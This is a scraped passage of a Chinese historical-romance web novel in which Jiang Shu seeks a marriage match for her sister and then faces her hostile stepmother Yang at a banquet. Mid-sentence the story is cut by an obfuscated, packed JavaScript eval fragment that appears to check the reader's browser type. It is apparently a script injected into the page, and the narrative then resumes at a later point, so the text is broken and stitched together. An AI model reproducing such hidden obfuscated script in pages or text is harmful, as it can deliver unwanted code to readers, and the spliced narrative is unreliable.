待陆长稽出了门子,赵氏才把注意力放到姜姝身上,她虽否定了自己之前的猜想,却还是稍带着迁怒于姜姝:“大清早的,你来宴西堂做什么?” 姜姝知道她的请求十分唐突,可事到临头,总要试一试,她斟酌着道:“儿媳家里的三妹妹到了说亲的年纪,她虽出身不高,却极守礼,性子也柔顺。儿媳不求旁的,只求她能嫁一个知冷知热的夫婿。 母亲见多识广,来往的也都是高门大户里的主母,还望您留意一二,替我家三妹妹牵搭一门过得去的亲事。” 信阳侯府和姜家门第悬殊,即便赵氏看不上的门户,于姜家来说也是高不可攀的存在。 说起姜姝,除了出身不显,嫁到侯府以后倒是没出过什么纰漏,照顾陆长易也十分尽心,陆长易的身子显见比以前康健了很多。 赵氏瞧不上姜姝,却也不得不承认这个儿媳妇还是合她心意的。 帮姜容寻一门亲事倒也不是不可以,但看到姜姝纤细腰肢下的平坦小腹,赵氏心头的火气便又高了一截。 胡泠霜的肚子越来越大,不过数月就能为侯府添丁,陆凛高兴,整日里给胡泠霜赏赐,胡岚那贱人也跟着水涨船高,愈发得宠。 胡岚姑侄在侯府越来越张狂,简直要在赵氏头顶作乱,赵氏喟叹一声,再次给姜姝施压:“我上了年纪,最喜欢含饴弄孙,只要你能为易哥儿延续香火,我便给你三妹妹寻一门亲事。” 说到这儿,赵氏像是想起了什么,俯身从抽屉里扯出一封请帖掷到姜姝跟前:“你嫡母前日里给我下了一封帖子,说姜宅要举行什么赏月宴。 我年纪大了,懒得动弹,你代我去参加这个宴会罢,左右姜宅是你的母家,你去了,还能瞧一瞧林姨娘。” 姜姝刚嫁进信阳侯府的时候,杨氏想着姜陆两家成了姻亲,便想巴结赵氏,时常给赵氏发请帖,赵氏眼界高,压根不想和姜家来往,连看都不看就把那些帖子丢进了库房。 姜姝知道杨氏脸皮厚,却没料到她已无耻到了热脸贴冷屁股的地步。左右她也想回一趟姜宅,探探杨氏的口风,遂讪讪地拿起请帖,坐马车向姜宅行去。 姜姝去的早,旁的宾客都还没到,姜宅门口只孤零零停着信阳侯府的马车。 母女二人已然撕破脸,杨氏也懒得和姜姝虚与委蛇,她连屋门都不让姜姝进,站在门口居高临下的乜着姜姝,阴阳怪气:“今儿个吹的是什么风,怎么把信阳侯府的世子夫人给吹来了?” “咱们家庙小,名声也污秽,容不下世子夫人这尊大佛,世子夫人还是从哪儿来回哪儿去罢!” 姜姝只当没听到杨氏的话,绕过杨氏进入花厅,自顾自倒了一盏茶润喉咙。待杨氏也进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜姝早就料到杨氏会拿捏她,却没想到杨氏会在姜容的亲事上做手脚。是她算计的姜然,总不能让姜容替她受过。 姜姝没有底气,却还是强颜欢笑:“女儿虽没出息,好歹已经嫁到了信阳侯府,信阳侯府门第高,与之来往的也都是达官显贵,女儿定会留心,给然姐儿寻一门好亲事。” 杨氏勾唇轻笑:“我给你一个月的时间,一个月之内你若给然姐儿寻不到好人家,就擎等着喝何司马和姜容的喜酒罢。” 姜姝抬起头回视杨氏,温声道:“母亲等着女儿的好消息便是了。” 话说的漂亮,却是虚张声势。在杨氏的注目下,姜姝脊背挺得笔直,一步一步行到大门口。 进了马车以后却仿佛被人抽干了精气神,她怏怏地歪到绣凳上,满面愁容。 姜然的亲事,姜容的未来,还有她的肚子,像是三座大山,重重压在她的肩头。 旁的那两件事倒是还能腾出一些时间筹谋,唯有怀孕急不可待,怀孕这种事讲究天时地利人和,多次不中也是有的,她必须得早做筹谋。 姜姝深吸一口气,把珠儿唤到车内,低声道:“回府以后你悄悄探一探大爷的行程,尤其是夜间,看看他晚上喜欢到哪里消遣?”